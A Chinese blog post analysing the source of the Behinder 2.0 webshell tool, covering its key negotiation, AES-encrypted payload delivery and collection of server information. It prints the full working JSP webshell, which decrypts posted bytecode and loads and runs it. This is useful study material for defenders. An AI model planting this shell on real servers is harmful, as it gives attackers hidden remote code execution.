- 写在前面
- 源码解读
- Jsp马交互部分源码解读
- 认证流程
大概是最近搞内存马有点累了,今晚顺便看看冰蝎部分源码,简简单单写篇博客休息休息,本着怕第一次看这个工具源码,怕直接看最新的容易不理解,就拿了个2.0版本看着玩吧,谁知道也太简单了:同款源码在rebeyond/Behinder
源码解读反编译jar包后,其核心代码在net.rebeyond.behinder
Jsp马交互部分源码解读直接丢出来源码,挺简单的,首先是一个继承ClassLoader的U类,一看defineClass就知道是加载字节码,没得说接下来看下面部分,get请求传入一个pass参数,随机生成一串神秘字符放到sessin里面,
如果没有get传入pass,用post写一串神秘字符,后面从session中取出密钥然后先base64解码再aes解密恢复字节码并加载
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %> <%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } %><% if (request.getParameter("pass") != null) { String k = ("" + UUID.randomUUID()).replace("-", "").substring(16); session.putValue("u", k); out.print(k); return; } Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES")); new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.base64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); %>认证流程
借一张网图来说明下认证流程
在Behinder.jar!netrebeyondbehinderuiBasicInfoUtils.class下面的getBasicInfo看起来就是重点去关注的东西,先看看这个ShellService
首先初始化部分获取一些我们传入的url,pass等
接下来就是协商key的过程
先随机生成一串带pass的url
省略一些不必要的分析源码,自己看吧很简单判断类型http还是https等不细说,接下来获取返回结果
联系jsp内容很容易想到是类似这样的形式
正则匹配出结果,并通过getRawKey函数进行第二次的获取(和这个差不多的过程不单独去读了,多了一些cookie相关自己读一下就行),两次结果进行异或 *** 作
接下来看看这个看起来又臭又长的部分,很简单,其实就只是保证两次获取的值的第一个字符不一样以及最后一个字符不一样而已,谈不上理解难度,之后设置一些值并返回
在获取了cookie和key之后,BasicInfoUtil的getBasicInfo就会调用ShellService的getBasicInfo方法来获取放了木马的服务器的基本信息
一看就是生成paylaod
由于是jsp,获取对应的字节内容先AES加密,再base64编码返回下
稍微看看这个BasciInfo干嘛,文字都有获取一些系统变量内容、JRE系统属性
接下来就是直接说的利用POST发送payload了然后返回执行结果,分析完毕
说个多余的话,我刚刚还很好奇为啥defineClass加载进去就直接调用了,毕竟没有写在static方法里面,后面发现我自己傻了,shell.jsp后面还有一坨被我吞了没看见
其他部分也没啥可说的了,同样的过程,只是defineClass加载的字节码不同罢了
不知不觉图书馆也闭馆了,今天到此结束
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)